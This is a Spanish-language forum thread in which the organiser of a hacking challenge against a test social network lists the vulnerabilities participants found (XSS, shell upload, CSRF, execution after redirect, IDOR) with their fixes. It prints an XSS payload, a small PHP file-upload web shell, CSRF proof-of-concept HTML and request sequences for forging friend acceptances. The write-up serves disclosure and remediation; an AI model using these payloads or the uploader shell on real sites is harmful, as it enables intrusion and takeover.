[RETO] Hackea la red social de Underc0de !

Iniciado por Bartz, Noviembre 16, 2018, 07:50:12 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
So.. Decidí volcar las vulnerabilidades y arreglos en este mismo post :D

Vuln 1 Cross Site Scripting (XSS)
Importancia: CRITICA
By @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En varios inputs, los datos que se ingresaban no estaban siendo validados, lo que resultaba en la ejecución de codigo albitrario desde el lado del cliente, y cada vez que alguien veia la publicación le saltaba el 'cartelito' del Alert

Ejemplo:


Código: php
<script>alert("Hacker");</script>
<h1>Puedo poner un titulo</h1>


O uno mas complejo en el cual me dejó de regalo un uploader que permitia subir cualquier archivo:

Código: php
<?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Archivo subido!</b><br><br>';
}else { echo '<b>Upload Fail!</b><br><br></font>'; } }  ?>

Es mas, de tanto romper su perfil, nuestro amigo ANTRAX tuvo que pedirme que se lo arregle desde la BD porque lo habia destruido por completo  ::)


Solución

Limpiar los valores que se introducen en los inputs.
Para eso se usaron dos funciones, la primera hace uso de htmlentities que permite mostrar en pantalla los caracteres especiales pero los almacena como ASCII en la base de datos, logrando que no tengan efecto en la pagina.
La use dentro de una funcion propia para que si en algun momento tengo que cambiar htmlentities por otra cosa solo cambiarla desde aca y no tener que recorrer todo el codigo

Documentación: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: php
function limpiarentrada($input){
    $clean = htmlentities($input);
    return $clean;
}


La segunda funcion reemplaza cualquier caracter especial por un equivalente o lo elimina, esta fue usada en la parte de 'editar perfil' por ejemplo

Código: php
function sanitize($string) {
    $clean_name = strtr($string, array('Š' => 'S','Ž' => 'Z','š' => 's','ž' => 'z','Ÿ' => 'Y','À' => 'A','Á' => 'A','Â' => 'A','Ã' => 'A','Ä' => 'A','Å' => 'A','Ç' => 'C','È' => 'E','É' => 'E','Ê' => 'E','Ë' => 'E','Ì' => 'I','Í' => 'I','Î' => 'I','Ï' => 'I','Ñ' => 'N','Ò' => 'O','Ó' => 'O','Ô' => 'O','Õ' => 'O','Ö' => 'O','Ø' => 'O','Ù' => 'U','Ú' => 'U','Û' => 'U','Ü' => 'U','Ý' => 'Y','à' => 'a','á' => 'a','â' => 'a','ã' => 'a','ä' => 'a','å' => 'a','ç' => 'c','è' => 'e','é' => 'e','ê' => 'e','ë' => 'e','ì' => 'i','í' => 'i','î' => 'i','ï' => 'i','ñ' => 'n','ò' => 'o','ó' => 'o','ô' => 'o','õ' => 'o','ö' => 'o','ø' => 'o','ù' => 'u','ú' => 'u','û' => 'u','ü' => 'u','ý' => 'y','ÿ' => 'y'));
    $clean_name = strtr($clean_name, array('Þ' => 'TH', 'þ' => 'th', 'Ð' => 'DH', 'ð' => 'dh', 'ß' => 'ss', 'Œ' => 'OE', 'œ' => 'oe', 'Æ' => 'AE', 'æ' => 'ae', 'µ' => 'u'));
    $clean_name = preg_replace(array('/\s/', '/\.[\.]+/', '/[^\w_\.\-]/'), array('_', '.', ''), $clean_name);
    $clean_name = strtolower($clean_name);
    return $clean_name;
}


Ya con esto logramos que el proximo que lo intente quede en el intento








Vuln 2 Shell Upload
Importancia: CRITICA
By @hielasangre & @Olger346

Por no haber checkeado el MIME type del archivo a subir se permitia subir cualquier tipo de archivo, Claro está que no iba a ser aprovechado para subir un GIF y no un JPG, sino que iba a ser utilizado para subir una shell que les permitiera tomar control del sitio


Solución
Chequear el tipo de archivo a subir, y solo permitir imagenes

Documentación: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Vuln 3 Cross Site Request Forgery (CSRF)
By @hielasangre

La vulnerabilidad permite a un sitio externo enviar peticiones a nuestro sitio, por lo que las personas que visiten un link le darían like a una publicación sin darse cuenta por ejemplo.

Ejemplo y Proof of Concept (POC)

Código: php
<iframe src="http://afaik.cf/socialc0de/index.php?mg=1&&CodPost=104" style="height:200px;width:300px;"></iframe>



Con la misma vulnerabilidad CSRF si el atacante podia enviar un link en el cual permitia cambiar todos los datos del perfil

Código: php
<html>
<body>
  <form action="http://afaik.cf/socialc0de/editarperfil.php" method="POST">
      <input type="hidden" name="nombre" value="pwned!" />
      <input type="hidden" name="usuario" value="pwned!" />
      <input type="hidden" name="profesion" value="pwned" />
      <input type="hidden" name="pais" value="pwned">
      <input type="submit" name="editar" value="No me toques!" />
    </form>
</body>
</html>


Gracias por los videos POC @hielasangre

Solución
Utilizar un token en un campo "hidden" para verificar que se este accediendo a los formularios desde el sitio original y no externamente
Material: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Vuln 4 Execution After Redirect
By @Nobody

Esta Vulnerabilidad consta de seguir ejecutando el código de la página luego de una verificación

Ejemplo:

Código: php

    <?php
     
    $_SESSION['username'] = "user";
     
    if ($_SESSION['username'] !== "admin")
    {
            header("Location: index.php");
    }
     
    echo "Priv8 zone!";
     
    ?>


Solución
colocar un exit(); debajo del header location.




Vuln 5 Input Validation
By @Nobody

Por no haberle asignado un nombre unico a cada foto que se subia, si el nombre de una coincidia con una que ya habia sido subida, la imagen se reemplazaba

Solución
Usar un tipo de ID único, agregandole la función uniqid() antes del nombre del archivo a subir




Vuln 6 Insecure Direct Object Reference
By @Nobody

Era posible "auto aceptarse" la solicitud de amistad manipulando los parametros GET de la cabecera

1. Enviar petición de amistad (GET /socialc0de/perfil.php?CodUsua=ID&&agregar=ID).
2. Enviar la siguiente petición GET: GET /socialc0de/solicitud.php?env=TUID&&rec=VictimaID&&accion=1

Tambien era posible agregarse a uno mismo como amigo. Mismo procedimiento que la vuln 6
GET /socialc0de/perfil.php?CodUsua=TUID&&agregar=TUID

Solución
Arreglar la funcion que recibe esos parametros asegurandose que sean diferentes al usuario que se encuentra logueado actualmente

Vuln 7 Input Validation
By @Nobody

Se podia recibir varias solicitudes de amistad de una misma persona (y al aceptarla, aumentar el número de amigos).

Solución
Arreglar las consultas a la base de dato para que no introduzcan valores repetidos



Excelente iniciativa Bartz:

Si se me permite, me gustaría hacerte unas recomendaciones... En la parte de filtros para sanitizar, yo utilizo esto:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


En la carpeta donde se suben las imágenes aparte de las validaciones que quieras poner a nivel de código, también especificaria por medio de un htaccess que los archivos subidos sean interpretados como imágenes.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta